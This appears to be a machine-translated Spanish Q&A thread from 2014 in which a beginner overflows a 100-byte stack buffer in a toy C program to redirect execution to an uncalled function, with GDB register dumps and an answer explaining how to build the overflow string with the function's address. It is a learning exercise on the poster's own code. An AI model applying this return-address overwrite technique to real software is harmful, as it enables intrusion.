desbordamiento de búfer basado en la pila el programa está interpretando el shellcode por sí mismo

-1

Soy principiante en hazañas. Así que tuve el tipo de programa simple en C

#include <stdio.h>

void func(){
    printf("asd");
}
main(){
    char buf[100];
    scanf("%s", &buf);
}

Mi objetivo es ejecutar el func () e imprimir asd. Con 116 'A', escribí sobre el EIP pero cuando cambio los últimos 4 A con la dirección de memoria de la función (en orden inverso) y ejecuto el programa nuevamente, el EIP es algo completamente diferente. Aquí están los detalles del formulario GDB:

Starting program: /root/Documents/C/overflow/stack 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
eax            0x1  1
ecx            0x1  1
edx            0xb7fbd354   -1208233132
ebx            0xb7fbbff4   -1208238092
esp            0xbffff4d0   0xbffff4d0
ebp            0x41414141   0x41414141
esi            0x0  0
edi            0x0  0
eip            0x41414141   0x41414141

Con dirección de la función:

(gdb) disas func
Dump of assembler code for function func:
   0x0804846c <+0>: push   %ebp
   0x0804846d <+1>: mov    %esp,%ebp
   0x0804846f <+3>: sub    $0x18,%esp
   0x08048472 <+6>: movl   $0x8048530,(%esp)
   0x08048479 <+13>:    call   0x8048340 <printf@plt>
   0x0804847e <+18>:    leave  
   0x0804847f <+19>:    ret 

Starting program: /root/Documents/C/overflow/stack 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x6c\x84\x04\x08

Program received signal SIGSEGV, Segmentation fault.
0x6336785c in ?? ()

Si agrego más A a la cadena, el EIP comienza a desbordarse con A otra vez, quiero decir

Adding 1 A EIP = 0x36785c41
Adding 2 A's EIP = 0x785c4141
Adding 3 A's EIP = 0x78414141
Adding 4 A's EIP = 0x41414141

Estoy ejecutando Linux, no eliminé ni modifiqué nada en el kernel, así que hay mis protecciones. Además, no desactivé ninguna función en gcc, y el compilador es gcc = D.

Cualquier ayuda es bienvenida. Gracias de antemano.

    
pregunta user45982 04.05.2014 - 20:56
fuente

1 respuesta

0

Pude explotar con éxito el desbordamiento de búfer Tu código de explotación es incorrecto.

Estás pasando la dirección de func () ya que está en forma hexadecimal. Necesitas primero convertir \ x6c \ x84 \ x04 \ x08

en ASCII usando python puedes hacerlo.

En mi sistema sale a ser lä ♦

La explotación debería ser B1 = AAAA ... (tamaño del búfer, 120 en mi caso)

B2 = BBBB .... (anular ebp)

R.A. de func () = lä ♦

exploit = B1 + B2 + lä ♦

También configura la sintaxis gdb a Intel para una mejor legibilidad.

Siempre revisa EBP para ver si el tamaño del código de explotación es correcto.

En este caso, si EBP = 42424242 significa que la cantidad de A es correcta, es decir, nos estamos moviendo en la dirección correcta

    
respondido por el vivek 29.05.2014 - 12:43
fuente

Lea otras preguntas en las etiquetas